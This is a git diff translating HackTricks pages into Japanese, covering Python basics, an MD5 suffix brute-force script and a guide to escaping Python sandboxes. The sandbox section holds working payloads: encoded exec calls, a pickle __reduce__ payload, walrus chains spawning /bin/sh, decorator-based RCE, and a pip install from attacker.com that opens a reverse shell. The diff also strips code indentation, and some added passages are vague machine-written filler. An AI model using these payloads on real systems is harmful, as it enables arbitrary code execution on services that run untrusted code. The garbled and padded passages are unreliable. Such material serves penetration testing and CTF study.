map(tutple,\[a,b]) = \[(1,2,3),(4,5)]\ +**map**は次のようなものです:\[f(x) for x in iterable] --> map(tutple,\[a,b]) = \[(1,2,3),(4,5)]\ m = map(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) --> \[False, False, True, False, False, True, False, False, True] -**zip** stops when the shorter of foo or bar stops: - +**zip**は、fooまたはbarのうち短い方が終了すると停止します: ``` for f, b in zip(foo, bar): - print(f, b) +print(f, b) ``` - -**Lambda** is used to define a function\ -(lambda x,y: x+y)(5,3) = 8 --> Use lambda as simple **function**\ -**sorted**(range(-5,6), key=lambda x: x\*\* 2) = \[0, -1, 1, -2, 2, -3, 3, -4, 4, -5, 5] --> Use lambda to sort a list\ -m = **filter**(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) = \[3, 6, 9] --> Use lambda to filter\ +**Lambda**は関数を定義するために使用されます\ +(lambda x,y: x+y)(5,3) = 8 --> シンプルな**関数**としてlambdaを使用する\ +**sorted**(range(-5,6), key=lambda x: x\*\* 2) = \[0, -1, 1, -2, 2, -3, 3, -4, 4, -5, 5] --> リストをソートするためにlambdaを使用する\ +m = **filter**(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) = \[3, 6, 9] --> フィルタリングするためにlambdaを使用する\ **reduce** (lambda x,y: x\*y, \[1,2,3,4]) = 24 - ``` def make_adder(n): - return lambda x: x+n +return lambda x: x+n plus3 = make_adder(3) plus3(4) = 7 # 3 + 4 = 7 class Car: - crash = lambda self: print('Boom!') +crash = lambda self: print('Boom!') my_car = Car(); my_car.crash() = 'Boom!' ``` - mult1 = \[x for x in \[1, 2, 3, 4, 5, 6, 7, 8, 9] if x%3 == 0 ] -### Exceptions - +### 例外処理 ``` -def divide(x,y): - try: - result = x/y - except ZeroDivisionError, e: - print “division by zero!” + str(e) - except TypeError: - divide(int(x),int(y)) - else: - print “result i”, result - finally - print “executing finally clause in any case” +def divide(x,y): +try: +result = x/y +except ZeroDivisionError, e: +print “division by zero!” + str(e) +except TypeError: +divide(int(x),int(y)) +else: +print “result i”, result +finally +print “executing finally clause in any case” ``` - ### Assert() -If the condition is false the string will be printed in the screen - +もし条件が偽である場合、文字列は画面に表示されます。 ``` def avg(grades, weights): - assert not len(grades) == 0, 'no grades data' - assert len(grades) == 'wrong number grades' +assert not len(grades) == 0, 'no grades data' +assert len(grades) == 'wrong number grades' ``` +### ジェネレータ、yield -### Generators, yield - -A generator, instead of returning something, it "yields" something. When you access it, it will "return" the first value generated, then, you can access it again and it will return the next value generated. So, all the values are not generated at the same time and a lot of memory could be saved using this instead of a list with all the values. - +ジェネレータは、何かを返す代わりに、何かを「yield」します。アクセスすると、最初に生成された値を「返し」、再びアクセスすると次に生成された値を返します。したがって、すべての値が同時に生成されず、値のリストを使用する代わりに、これを使用することで多くのメモリを節約できます。 ``` def myGen(n): - yield n - yield n + 1 +yield n +yield n + 1 ``` - g = myGen(6) --> 6\ next(g) --> 7\ -next(g) --> Error +next(g) --> エラー -### Regular Expresions +### 正規表現 import re\ re.search("\w","hola").group() = "h"\ re.findall("\w","hola") = \['h', 'o', 'l', 'a']\ re.findall("\w+(la)","hola caracola") = \['la', 'la'] -**Special meanings:**\ -. --> Everything\ +**特殊な意味:**\ +. --> すべて\ \w --> \[a-zA-Z0-9\_]\ -\d --> Number\ -\s --> WhiteSpace char\[ \n\r\t\f]\ -\S --> Non-whitespace char\ -^ --> Starts with\ -$ --> Ends with\ -\+ --> One or more\ -\* --> 0 or more\ -? --> 0 or 1 occurrences +\d --> 数字\ +\s --> 空白文字\[ \n\r\t\f]\ +\S --> 空白以外の文字\ +^ --> で始まる\ +$ --> で終わる\ +\+ --> 1回以上\ +\* --> 0回以上\ +? --> 0回または1回 -**Options:**\ +**オプション:**\ re.search(pat,str,re.IGNORECASE)\ IGNORECASE\ -DOTALL --> Allow dot to match newline\ -MULTILINE --> Allow ^ and $ to match in different lines +DOTALL --> ドットが改行にマッチするようにする\ +MULTILINE --> ^ と $ が異なる行にマッチするようにする re.findall("<.\*>", "\foo\and\so on\") = \['\foo\and\so on\']\ re.findall("<.\*?>", "\foo\and\so on\") = \['\', '\', '\', '\'] IterTools\ **product**\ -from **itertools** import product --> Generates combinations between 1 or more lists, perhaps repeating values, cartesian product (distributive property)\ +from **itertools** import product --> 1つ以上のリスト間の組み合わせを生成し、値を繰り返すことができる、直積(分配特性)\ print list(**product**(\[1,2,3],\[3,4])) = \[(1, 3), (1, 4), (2, 3), (2, 4), (3, 3), (3, 4)]\ print list(**product**(\[1,2,3],repeat = 2)) = \[(1, 1), (1, 2), (1, 3), (2, 1), (2, 2), (2, 3), (3, 1), (3, 2), (3, 3)] **permutations**\ -from **itertools** import **permutations** --> Generates combinations of all characters in every position\ -print list(permutations(\['1','2','3'])) = \[('1', '2', '3'), ('1', '3', '2'), ('2', '1', '3'),... Every posible combination\ -print(list(permutations('123',2))) = \[('1', '2'), ('1', '3'), ('2', '1'), ('2', '3'), ('3', '1'), ('3', '2')] Every possible combination of length 2 +from **itertools** import **permutations** --> 各位置のすべての文字の組み合わせを生成する\ +print list(permutations(\['1','2','3'])) = \[('1', '2', '3'), ('1', '3', '2'), ('2', '1', '3'),... すべての可能な組み合わせ\ +print(list(permutations('123',2))) = \[('1', '2'), ('1', '3'), ('2', '1'), ('2', '3'), ('3', '1'), ('3', '2')] 長さ2のすべての可能な組み合わせ **combinations**\ -from itertools import **combinations** --> Generates all possible combinations without repeating characters (if "ab" existing, doesn't generate "ba")\ +from itertools import **combinations** --> 文字を繰り返さずにすべての可能な組み合わせを生成する("ab"が存在する場合、"ba"は生成されない)\ print(list(**combinations**('123',2))) --> \[('1', '2'), ('1', '3'), ('2', '3')] **combinations\_with\_replacement**\ -from itertools import **combinations\_with\_replacement** --> Generates all possible combinations from the char onwards(for example, the 3rd is mixed from the 3rd onwards but not with the 2nd o first)\ +from itertools import **combinations\_with\_replacement** --> 文字以降のすべての可能な組み合わせを生成する(たとえば、3番目は3番目以降と混在するが、2番目や1番目とは混在しない)\ print(list(**combinations\_with\_replacement**('1133',2))) = \[('1', '1'), ('1', '1'), ('1', '3'), ('1', '3'), ('1', '1'), ('1', '3'), ('1', '3'), ('3', '3'), ('3', '3'), ('3', '3')] -### Decorators - -Decorator that size the time that a function needs to be executed (from [here](https://towardsdatascience.com/decorating-functions-in-python-619cbbe82c74)): +### デコレータ +関数の実行に必要な時間を計測するデコレータ([ここ](https://towardsdatascience.com/decorating-functions-in-python-619cbbe82c74)から): ```python from functools import wraps import time def timeme(func): - @wraps(func) - def wrapper(*args, **kwargs): - print("Let's call our decorated function") - start = time.time() - result = func(*args, **kwargs) - print('Execution time: {} seconds'.format(time.time() - start)) - return result - return wrapper +@wraps(func) +def wrapper(*args, **kwargs): +print("Let's call our decorated function") +start = time.time() +result = func(*args, **kwargs) +print('Execution time: {} seconds'.format(time.time() - start)) +return result +return wrapper @timeme def decorated_func(): - print("Decorated func!") +print("Decorated func!") ``` - -If you run it, you will see something like the following: - +実行すると、以下のようなものが表示されます: ``` Let's call our decorated function Decorated func! Execution time: 4.792213439941406e-05 seconds ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md b/generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md index d64205abf..df9f5a7d0 100644 --- a/generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md +++ b/generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md @@ -1,34 +1,30 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - ```python import hashlib target = '2f2e2e' #/.. candidate = 0 while True: - plaintext = str(candidate) - hash = hashlib.md5(plaintext.encode('ascii')).hexdigest() - if hash[-1*(len(target)):] == target: #End in target - print('plaintext:"' + plaintext + '", md5:' + hash) - break - candidate = candidate + 1 +plaintext = str(candidate) +hash = hashlib.md5(plaintext.encode('ascii')).hexdigest() +if hash[-1*(len(target)):] == target: #End in target +print('plaintext:"' + plaintext + '", md5:' + hash) +break +candidate = candidate + 1 ``` ```python @@ -38,52 +34,47 @@ from multiprocessing import Process, Queue, cpu_count def loose_comparison(queue, num): - target = '0e' - plaintext = f"a_prefix{str(num)}a_suffix" - hash = hashlib.md5(plaintext.encode('ascii')).hexdigest() +target = '0e' +plaintext = f"a_prefix{str(num)}a_suffix" +hash = hashlib.md5(plaintext.encode('ascii')).hexdigest() - if hash[:len(target)] == target and not any(x in "abcdef" for x in hash[2:]): - print('plaintext: ' + plaintext + ', md5: ' + hash) - queue.put("done") # triggers program exit +if hash[:len(target)] == target and not any(x in "abcdef" for x in hash[2:]): +print('plaintext: ' + plaintext + ', md5: ' + hash) +queue.put("done") # triggers program exit def worker(queue, thread_i, threads): - for num in range(thread_i, 100**50, threads): - loose_comparison(queue, num) +for num in range(thread_i, 100**50, threads): +loose_comparison(queue, num) def main(): - procs = [] - queue = Queue() - threads = cpu_count() # 2 +procs = [] +queue = Queue() +threads = cpu_count() # 2 - for thread_i in range(threads): - proc = Process(target=worker, args=(queue, thread_i, threads )) - proc.daemon = True # kill all subprocess when main process exits. - procs.append(proc) - proc.start() +for thread_i in range(threads): +proc = Process(target=worker, args=(queue, thread_i, threads )) +proc.daemon = True # kill all subprocess when main process exits. +procs.append(proc) +proc.start() - while queue.empty(): # exits when a subprocess is done - pass - return 0 +while queue.empty(): # exits when a subprocess is done +pass +return 0 main() ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index b02ce5e4e..990338450 100644 --- a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -1,10 +1,10 @@ -# Bypass Python sandboxes +# Pythonサンドボックスのバイパス ![](<../../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,24 +12,23 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -These are some tricks to bypass python sandbox protections and execute arbitrary commands. +これは、Pythonサンドボックスの保護を回避し、任意のコマンドを実行するためのいくつかのトリックです。 -## Command Execution Libraries - -The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries: +## コマンド実行ライブラリ +最初に知る必要があるのは、既にインポートされているライブラリを使用してコードを直接実行できるかどうか、またはこれらのライブラリのいずれかをインポートできるかどうかです: ```python os.system("ls") os.popen("ls").read() -commands.getstatusoutput("ls") +commands.getstatusoutput("ls") commands.getoutput("ls") commands.getstatus("file/path") subprocess.call("ls", shell=True) @@ -58,25 +57,23 @@ open('/var/www/html/input', 'w').write('123') execfile('/usr/lib/python2.7/os.py') system('ls') ``` - -Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox. +_**open**_と_**read**_関数は、Pythonサンドボックス内のファイルを**読み取る**ためや、サンドボックスを**バイパス**するために**実行**できるコードを**書く**のに役立ちます。 {% hint style="danger" %} -**Python2 input()** function allows executing python code before the program crashes. +**Python2のinput()**関数は、プログラムがクラッシュする前にPythonコードを実行することができます。 {% endhint %} -Python try to **load libraries from the current directory first** (the following command will print where is python loading modules from): `python3 -c 'import sys; print(sys.path)'` +Pythonは、まず**現在のディレクトリからライブラリを読み込もうとします**(次のコマンドは、Pythonがモジュールをどこから読み込んでいるかを表示します):`python3 -c 'import sys; print(sys.path)'` ![](<../../../.gitbook/assets/image (552).png>) -## Bypass pickle sandbox with the default installed python packages +## デフォルトでインストールされているPythonパッケージを使用してpickleサンドボックスをバイパスする -### Default packages - -You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ -Note that from a pickle you can make the python env **import arbitrary libraries** installed in the system.\ -For example, the following pickle, when loaded, is going to import the pip library to use it: +### デフォルトのパッケージ +ここで**事前にインストールされている**パッケージのリストを見つけることができます:[https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ +pickleからは、システムに**インストールされている任意のライブラリ**をPython環境にインポートすることができます。\ +たとえば、次のpickleは、ロードされるとpipライブラリをインポートして使用します: ```python #Note that here we are importing the pip library so the pickle is created correctly #however, the victim doesn't even need to have the library installed to execute it @@ -84,41 +81,37 @@ For example, the following pickle, when loaded, is going to import the pip libra import pickle, os, base64, pip class P(object): - def __reduce__(self): - return (pip.main,(["list"],)) +def __reduce__(self): +return (pip.main,(["list"],)) print(base64.b64encode(pickle.dumps(P(), protocol=0))) ``` +詳細なpickleの動作については、[https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)を参照してください。 -For more information about how pickle works check this: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) +### Pipパッケージ -### Pip package - -Trick shared by **@isHaacK** - -If you have access to `pip` or `pip.main()` you can install an arbitrary package and obtain a reverse shell calling: +**@isHaacK**さんが共有したトリック +`pip`または`pip.main()`にアクセスできる場合、任意のパッケージをインストールし、以下のコマンドを呼び出すことで逆シェルを取得することができます。 ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) ``` - -You can download the package to create the reverse shell here. Please, note that before using it you should **decompress it, change the `setup.py`, and put your IP for the reverse shell**: +リバースシェルを作成するためのパッケージはこちらからダウンロードできます。使用する前に、**解凍し、`setup.py`を変更し、リバースシェルのためのIPを設定してください**: {% file src="../../../.gitbook/assets/reverse.tar.gz" %} {% hint style="info" %} -This package is called `Reverse`. However, it was specially crafted so that when you exit the reverse shell the rest of the installation will fail, so you **won't leave any extra python package installed on the server** when you leave. +このパッケージは「リバース」と呼ばれていますが、リバースシェルを終了すると、インストールの残りの部分が失敗するように特別に作成されています。したがって、サーバーに余分なPythonパッケージがインストールされたままになることはありません。 {% endhint %} -## Eval-ing python code +## Pythonコードの評価 {% hint style="warning" %} -Note that exec allows multiline strings and ";", but eval doesn't (check walrus operator) +execは複数行の文字列と";"を許可しますが、evalは許可しません(ウォルラス演算子を確認してください) {% endhint %} -If certain characters are forbidden you can use the **hex/octal/B64** representation to **bypass** the restriction: - +特定の文字が禁止されている場合、制限を**バイパス**するために**16進数/8進数/B64**表現を使用できます: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" @@ -139,9 +132,23 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` +### Pythonコードを評価するための他のライブラリ -### Other libraries that allow to eval python code +There are several other libraries that allow you to evaluate Python code. Here are some examples: +- **`exec` function**: The `exec` function in Python allows you to execute dynamically created Python code. It takes a string as input and executes it as Python code. + +- **`eval` function**: The `eval` function is similar to the `exec` function, but it evaluates a single expression and returns the result. + +- **`ast` module**: The `ast` module provides a way to work with abstract syntax trees (ASTs) in Python. You can use this module to parse and evaluate Python code. + +- **`compile` function**: The `compile` function in Python compiles source code into a code object that can be executed by the `exec` or `eval` functions. + +- **`code` module**: The `code` module provides a way to interactively execute Python code. You can create a `code.InteractiveConsole` object and use it to evaluate Python code. + +- **`sandbox` module**: The `sandbox` module is a Python library that provides a sandboxed environment for executing untrusted code. It restricts the execution of certain dangerous operations and provides a safe environment for evaluating Python code. + +These are just a few examples of libraries that allow you to evaluate Python code. Depending on your specific use case, you may find other libraries that better suit your needs. ```python #Pandas import pandas as pd @@ -155,9 +162,30 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')") # Like: df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')") ``` +## 演算子とショートトリック -## Operators and short tricks +### 演算子 +以下の演算子は、Pythonのサンドボックスをバイパスするために使用できる便利なツールです。 + +- `__import__`: 禁止されたモジュールをインポートするために使用します。 +- `__builtins__.__import__`: 禁止されたモジュールをインポートするために使用します。 +- `eval()`: 文字列をPythonコードとして評価するために使用します。 +- `exec()`: 文字列をPythonスクリプトとして実行するために使用します。 +- `globals()`: グローバル変数を取得するために使用します。 +- `locals()`: ローカル変数を取得するために使用します。 + +### ショートトリック + +以下のショートトリックは、Pythonのサンドボックスをバイパスするために使用できる便利な方法です。 + +- `__builtins__.__dict__['__import__']`: 禁止されたモジュールをインポートするために使用します。 +- `__builtins__.__dict__['eval']`: 文字列をPythonコードとして評価するために使用します。 +- `__builtins__.__dict__['exec']`: 文字列をPythonスクリプトとして実行するために使用します。 +- `__builtins__.__dict__['globals']`: グローバル変数を取得するために使用します。 +- `__builtins__.__dict__['locals']`: ローカル変数を取得するために使用します。 + +これらの演算子とショートトリックを使用することで、Pythonのサンドボックスをバイパスし、制限された機能にアクセスすることができます。ただし、注意して使用してください。 ```python # walrus operator allows generating variable inside a list ## everything will be executed in order @@ -166,40 +194,36 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval'] [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ``` +## 保護をエンコーディング(UTF-7)を介してバイパスする -## Bypassing protections through encodings (UTF-7) - -In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 is used to load and execute arbitrary python code inside an apparent sandbox: - +[**この解説記事**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)では、UTF-7が使用されていて、見かけ上のサンドボックス内で任意のPythonコードをロードおよび実行することができます。 ```python assert b"+AAo-".decode("utf_7") == "\n" payload = """ # -*- coding: utf_7 -*- def f(x): - return x - #+AAo-print(open("/flag.txt").read()) +return x +#+AAo-print(open("/flag.txt").read()) """.lstrip() ``` +他のエンコーディング(例:`raw_unicode_escape`と`unicode_escape`)を使用してバイパスすることも可能です。 -It is also possible to bypass it using other encodings, e.g. `raw_unicode_escape` and `unicode_escape`. +## 呼び出しを使用せずにPythonを実行する -## Python execution without calls - -If you are inside a python jail that **doesn't allow you to make calls**, there are still some ways to **execute arbitrary functions, code** and **commands**. - -### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator) +**呼び出しを許可しない**Pythonのジェイル内にいる場合でも、任意の関数、コード、およびコマンドを**実行**するためのいくつかの方法があります。 +### [デコレータ](https://docs.python.org/3/glossary.html#term-decorator)を使用したRCE ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ @exec @input class X: - pass +pass # The previous code is equivalent to: class X: - pass +pass X = input(X) X = exec(X) @@ -211,26 +235,24 @@ X = exec(X) @'__import__("os").system("sh")'.format class _:pass ``` +### RCEオブジェクトの作成とオーバーロード -### RCE creating objects and overloading +クラスを宣言し、そのクラスのオブジェクトを作成できれば、直接呼び出す必要なく、**異なるメソッドを書き換えたり上書きしたり**することができます。 -If you can **declare a class** and **create an object** of that class you could **write/overwrite different methods** that can be **triggered** **without** **needing to call them directly**. - -#### RCE with custom classes - -You can modify some **class methods** (_by overwriting existing class methods or creating a new class_) to make them **execute arbitrary code** when **triggered** without calling them directly. +#### カスタムクラスによるRCE +既存のクラスメソッドを上書きしたり、新しいクラスを作成したりすることで、直接呼び出すことなく**任意のコードを実行**することができます。 ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: - def __init__(self): - self += "print('Hello from __init__ + __iadd__')" - __iadd__ = exec #Triggered when object is created - def __del__(self): - self -= "print('Hello from __del__ + __isub__')" - __isub__ = exec #Triggered when object is created - __getitem__ = exec #Trigerred with obj[] - __add__ = exec #Triggered with obj + +def __init__(self): +self += "print('Hello from __init__ + __iadd__')" +__iadd__ = exec #Triggered when object is created +def __del__(self): +self -= "print('Hello from __del__ + __isub__')" +__isub__ = exec #Triggered when object is created +__getitem__ = exec #Trigerred with obj[] +__add__ = exec #Triggered with obj + # These lines abuse directly the previous class to get RCE rce = RCE() #Later we will see how to create objects without calling the constructor @@ -269,114 +291,143 @@ __iand__ (k = 'import 